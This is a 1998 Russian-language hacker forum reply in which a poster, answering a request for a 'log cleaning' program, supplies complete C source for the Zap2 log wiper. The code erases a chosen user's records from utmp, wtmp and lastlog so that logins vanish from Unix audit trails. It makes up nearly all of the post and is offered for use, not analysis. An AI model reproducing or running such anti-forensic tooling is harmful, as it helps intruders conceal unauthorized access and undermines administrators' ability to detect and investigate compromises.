Re: ЧИСТКА ЛОГОВ!


[ Комментарии ] [ Добавить комментарий ] [ Доска объявлений HackZone ]

Отправитель: XR, April 06, 1998, 10:57:02:

В ответ на: ЧИСТКА ЛОГОВ! (отправитель: ZaK, April 05, 1998, 18:10:47):

: ПЛЗ! Киньте исходничек проги для чистки логов !
Таги - блин :((

<br>#include <sys/types.h><br>#include <stdio.h><br>#include <unistd.h><br>#include <sys/file.h><br>#include <fcntl.h><br>#include <utmp.h><br>#include <pwd.h><br>#include <lastlog.h><br>#define WTMP_NAME "/usr/adm/wtmp"<br>#define UTMP_NAME "/etc/utmp"<br>#define LASTLOG_NAME "/usr/adm/lastlog"<p>int f;<p>void kill_utmp(who)<br>char *who;<br>{<br> struct utmp utmp_ent;<p> if ((f=open(UTMP_NAME,O_RDWR))>=0) {<br> while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )<br> if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {<br> bzero((char *)&utmp_ent,sizeof( utmp_ent ));<br> lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);<br> write (f, &utmp_ent, sizeof (utmp_ent));<br> }<br> close(f);<br> }<br>}<p>void kill_wtmp(who)<br>char *who;<br>{<br> struct utmp utmp_ent;<br> long pos;<p> pos = 1L;<br> if ((f=open(WTMP_NAME,O_RDWR))>=0) {<p> while(pos != -1L) {<br> lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);<br> if (read (f, &utmp_ent, sizeof (struct utmp))<0) {<br> pos = -1L;<br> } else {<br> if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {<br> bzero((char *)&utmp_ent,sizeof(struct utmp ));<br> lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);<br> write (f, &utmp_ent, sizeof (utmp_ent));<br> pos = -1L;<br> } else pos += 1L;<br> }<br> }<br> close(f);<br> }<br>}<p>void kill_lastlog(who)<br>char *who;<br>{<br> struct passwd *pwd;<br> struct lastlog newll;<p> if ((pwd=getpwnam(who))!=NULL) {<p> if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {<br> lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);<br> bzero((char *)&newll,sizeof( newll ));<br> write(f, (char *)&newll, sizeof( newll ));<br> close(f);<br> }<p> } else printf("%s: ?\n",who);<br>}<p>main(argc,argv)<br>int argc;<br>char *argv[];<br>{<br> if (argc==2) {<br> kill_lastlog(argv[1]);<br> kill_wtmp(argv[1]);<br> kill_utmp(argv[1]);<br> printf("Zap2!\n");<br> } else<br> printf("Error.\n");<br>}<br>


Комментарии:



Добавьте комментарий
Имя:
Адрес:
Тема:
Сообщение:
Дополнительный URL:
Заголовок:
Заставка:


[ Комментарии ] [ Добавить комментарий ] [ Доска объявлений HackZone ]